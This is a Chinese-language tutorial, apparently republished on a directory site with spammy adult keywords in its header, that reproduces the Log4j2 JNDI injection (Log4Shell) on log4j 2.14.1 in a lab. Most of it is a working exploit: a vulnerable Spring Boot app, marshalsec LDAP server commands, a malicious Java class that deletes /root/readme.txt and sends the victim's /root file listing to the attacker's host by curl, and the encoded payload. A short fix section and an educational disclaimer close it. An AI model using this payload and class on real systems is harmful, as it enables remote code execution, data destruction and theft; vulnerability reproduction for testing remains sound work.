亚洲视频二区_亚洲欧洲日本天天堂在线观看_日韩一区二区在线观看_中文字幕不卡一区

公告:魔扣目錄網(wǎng)為廣大站長(zhǎng)提供免費(fèi)收錄網(wǎng)站服務(wù),提交前請(qǐng)做好本站友鏈:【 網(wǎng)站目錄:http://www.430618.com 】, 免友鏈快審服務(wù)(50元/站),

點(diǎn)擊這里在線咨詢客服
新站提交
  • 網(wǎng)站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會(huì)員:747

log4j-2遠(yuǎn)程代碼執(zhí)行漏洞是因?yàn)閘og4j的版本中存在jndi(JAVA Naming and Directory Interface)注入漏洞,jndi注入是利用的動(dòng)態(tài)類加載機(jī)制完成攻擊的,當(dāng)程序?qū)⒂脩糨斎氲臄?shù)據(jù)進(jìn)行日志記錄時(shí),即可觸發(fā)此漏洞。注意是log4j-2.x的版本,本文演示使用2.14.1。

如果在應(yīng)用中使用了如log.info等一些輸出用戶錄入的內(nèi)容就可能遭到攻擊者的攻擊,這種將請(qǐng)求日志log出來(lái)的場(chǎng)景并不少見(jiàn),比如和一些第三方系統(tǒng)對(duì)接的時(shí)候,在聯(lián)調(diào)或試運(yùn)行階段會(huì)將請(qǐng)求的報(bào)文信息完整輸出到日志。

摘取一個(gè)gitee上的代碼樣例


 

 

  • 漏洞場(chǎng)景

 

舉個(gè)例子,jianshu-Application這個(gè)服務(wù)用來(lái)提供給用戶修改個(gè)人簡(jiǎn)介的,如圖


 

 

  • 漏洞重現(xiàn)案例的幾個(gè)角色

 

角色

應(yīng)用名

說(shuō)明

被攻擊者

jianshu-application

這個(gè)是被攻擊的服務(wù)器(使用了log4j-core-2.14.1),
假設(shè)提供了個(gè)人簡(jiǎn)介的修改功能

攻擊者

marshalsec-0.0.3-SNAPSHOT

開(kāi)源純Java寫(xiě)的一個(gè)工具,將數(shù)據(jù)轉(zhuǎn)換為代碼執(zhí)行

攻擊者

Python/ target=_blank class=infotextkey>Python-httpserver

簡(jiǎn)單模擬一個(gè)httpserver用來(lái)給被攻擊者遠(yuǎn)程加載惡意class


 

大致流程如下 ①、攻擊者輸入惡意信息后提交,${jndi:ldap://ldap.mixfate.com:9999},當(dāng)然這個(gè)ldap地址被攻擊者服務(wù)器中的應(yīng)用可以訪問(wèn)到; ②、被攻擊者應(yīng)用通過(guò)log.info打印惡意的輸入信息后,發(fā)現(xiàn)日志內(nèi)容中包含關(guān)鍵詞 ${,那么這個(gè)里面包含的內(nèi)容會(huì)當(dāng)做變量來(lái)進(jìn)行替換執(zhí)行,連接到marshalsec ldap.mixfate.com:9999; ③、此時(shí)marshalsec將重定向到httpserver load.mixfate.com:8888; ④、重定向到class下載地址下載并加載Hacker.class; ⑤、執(zhí)行Hacker.class中的惡意代碼;

可以看到依賴重要的開(kāi)源工具marshalsec,https://github.com/mbechler/marshalsec.git

免責(zé)聲明(僅用于學(xué)習(xí)或測(cè)試自有系統(tǒng))

Disclaimer All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. 2、漏洞重現(xiàn)步驟

現(xiàn)在我們模擬一下這個(gè)jianshu-application這個(gè)應(yīng)用被攻擊,并被刪除掉服務(wù)器上的/root/readme.txt文件;

機(jī)器名

說(shuō)明

ip

機(jī)器A(jianshu)

被攻擊者

192.168.80.136

機(jī)器B(hacker)

攻擊者

192.168.80.133

兩臺(tái)機(jī)器均安裝上jdk-1.8.0_151

java version "1.8.0_151" Java(TM) SE Runtime Environment (build 1.8.0_151-b12) Java HotSpot(TM) 64-Bit Server VM (build 25.151-b12, mixed mode)

  • 步驟1、機(jī)器A(jianshu)上運(yùn)行被攻擊端jianshu應(yīng)用(簡(jiǎn)化代碼僅作重現(xiàn)參考)

 

簡(jiǎn)單起見(jiàn)直接使用 spring-boot啟動(dòng)一個(gè)web應(yīng)用,開(kāi)放一個(gè)入口模擬修改個(gè)人簡(jiǎn)介,由于spring-boot默認(rèn)使用 logback 作為應(yīng)用日志框架,所以為了模擬攻擊過(guò)程將依賴排除掉,使用log4j-2.14.1版本記錄日志。

jianshu模擬應(yīng)用配置如下(使用spring-boot-2.5.7,特別注意需要排除默認(rèn)使用的日志,不然無(wú)法模擬)

 

pom.xml
4.0.0 org.springframework.boot spring-boot-starter-parent 2.5.7 com.mixfate jianshu 0.0.1-SNAPSHOT jianshu jianshu project for Spring Boot 1.8 org.springframework.boot spring-boot-starter-web org.springframework.boot spring-boot-starter-logging org.springframework.boot spring-boot-starter-test test org.Apache.logging.log4j log4j-core 2.14.1 org.springframework.boot spring-boot-maven-plugin
JianshuAplication.java
package com.mixfate; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.PutMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @RequestMapping @SpringBootApplication public class JianshuApplication { public static final Logger logger = LogManager.getLogger(); public static void main(String[] args) { SpringApplication.run(JianshuApplication.class, args); } @PutMapping("/settings") public void settings(String intro) { logger.info("{}", intro); } }

 

模擬的修改個(gè)人簡(jiǎn)介功能非常簡(jiǎn)單,一個(gè)put請(qǐng)求將intro參數(shù)提交即可,注意通過(guò)url傳參數(shù)的話需要使用urlencode后傳輸,使用mvn clean package 打包好應(yīng)用上傳,并直接在機(jī)器A(jianshu)的服務(wù)器部署運(yùn)行即可java -jar jianshu-0.0.1-SNAPSHOT.jar,作為被攻擊的機(jī)器就已經(jīng)準(zhǔn)備好了,可通過(guò)curl -X PUT http://192.168.80.136:8080/settings?intro=hacker-ha-ha-ha訪問(wèn)測(cè)試。

此時(shí)在機(jī)器A(jianshu),ip192.168.80.136上的準(zhǔn)備工作就完成了。

 

  • 步驟2、機(jī)器B(hacker)上運(yùn)行marshalsec/httpserver

 

① 下裝并編譯運(yùn)行marshalsec工具,這是一個(gè)純java寫(xiě)的將數(shù)據(jù)轉(zhuǎn)換為可執(zhí)行代碼工具,github地址https://github.com/mbechler/marshalsec.git,直接使用maven編譯源碼mvn clean package -DskipTests,將編譯后的應(yīng)用包marshalsec-0.0.3-SNAPSHOT-all.jar上傳到機(jī)器B(hacker)上運(yùn)行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.80.133:8888/#Hacker" 9999。

這一步的目的是在Hacker機(jī)器B上開(kāi)啟ldap服務(wù),機(jī)器A中的應(yīng)用參數(shù)intro如果定義為${jndi:ldap://192.168.80.133:9999/Hacker} ,則可訪問(wèn)到這個(gè)ldap服務(wù),而參數(shù)"http://192.168.80.133:8888/#Hacker表示將請(qǐng)求重定向到此地址遠(yuǎn)程加載類Hacker,當(dāng)然實(shí)際上ldap和放Hacker.class的httpserver服務(wù)器不需要放同一臺(tái)機(jī)器。

② 編寫(xiě)Hacker類如下

import java.io.File; import java.util.Arrays; import java.util.stream.Collectors; class Hacker { static { System.err.println("Hacker hahaha"); try { Runtime.getRuntime().exec("rm -rf /root/readme.txt"); File dir = new File("/root"); Runtime.getRuntime().exec("curl http://192.168.80.133:8888/" + Arrays.stream(dir.listFiles()).map(File::getName).collect(Collectors.joining(","))); } catch (Exception e) { e.printStackTrace(); } } }

這個(gè)Hacker惡意代碼把機(jī)器A上的文件/root/readme.txt刪除了,并且將/root目錄下的文件文件名發(fā)送到攻擊者的機(jī)器上。編譯好Hacker.class放到一個(gè)新建的目錄/www中。

③ 機(jī)器B新開(kāi)一個(gè)命令窗口,進(jìn)入到/www目錄中,使用命令python -m SimpleHTTPServer 8888啟動(dòng)一個(gè)簡(jiǎn)單的httpserver,啟動(dòng)后使用瀏覽器訪問(wèn)http://192.168.80.133:8888/Hacker.class正常會(huì)提示下載類文件,保證jianshu服務(wù)器能從這個(gè)地址下載類即可。

參數(shù)${jndi:ldap://192.168.80.133:9999/Hacker}通過(guò)urlencode后為%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D 訪問(wèn)修改個(gè)人簡(jiǎn)介進(jìn)行攻擊 curl -X PUT http://192.168.80.136:8080/settings?intro=%24%7Bjndi%3Aldap%3A%2F%2F192.168.80.133%3A9999%2FHacker%7D

此時(shí)python的httpserver日志可以看到以下輸出

"GET /.bash_logout,.bash_profile,.bashrc,.cshrc,.tcshrc,anaconda-ks.cfg,.bash_history,jdk-8u151-linux-x64.tar.gz,jdk1.8.0_151,.oracle_jre_usage,jianshu-0.0.1-SNAPSHOT.jar HTTP/1.1" 404 -

Hacker機(jī)器上列出了jianshu機(jī)器/root目錄下的文件,說(shuō)明已經(jīng)成功了。

3、漏洞修復(fù)

具體的漏洞修復(fù)建議可參考一些官方的推薦做法,一種臨時(shí)的改動(dòng)是設(shè)置JVM啟動(dòng)參數(shù)-Dlog4j2.formatMsgNoLookups=true,此參數(shù)判斷是否執(zhí)行l(wèi)ookups。

打開(kāi)MessagePatternConverter的源碼查看


 

在構(gòu)造方法中初始化了參數(shù)noLookups


 

在常量中定義了默認(rèn)值

分享到:
標(biāo)簽:log4j2
用戶無(wú)頭像

網(wǎng)友整理

注冊(cè)時(shí)間:

網(wǎng)站:5 個(gè)   小程序:0 個(gè)  文章:12 篇

  • 51998

    網(wǎng)站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會(huì)員

趕快注冊(cè)賬號(hào),推廣您的網(wǎng)站吧!
最新入駐小程序

數(shù)獨(dú)大挑戰(zhàn)2018-06-03

數(shù)獨(dú)一種數(shù)學(xué)游戲,玩家需要根據(jù)9

答題星2018-06-03

您可以通過(guò)答題星輕松地創(chuàng)建試卷

全階人生考試2018-06-03

各種考試題,題庫(kù),初中,高中,大學(xué)四六

運(yùn)動(dòng)步數(shù)有氧達(dá)人2018-06-03

記錄運(yùn)動(dòng)步數(shù),積累氧氣值。還可偷

每日養(yǎng)生app2018-06-03

每日養(yǎng)生,天天健康

體育訓(xùn)練成績(jī)?cè)u(píng)定2018-06-03

通用課目體育訓(xùn)練成績(jī)?cè)u(píng)定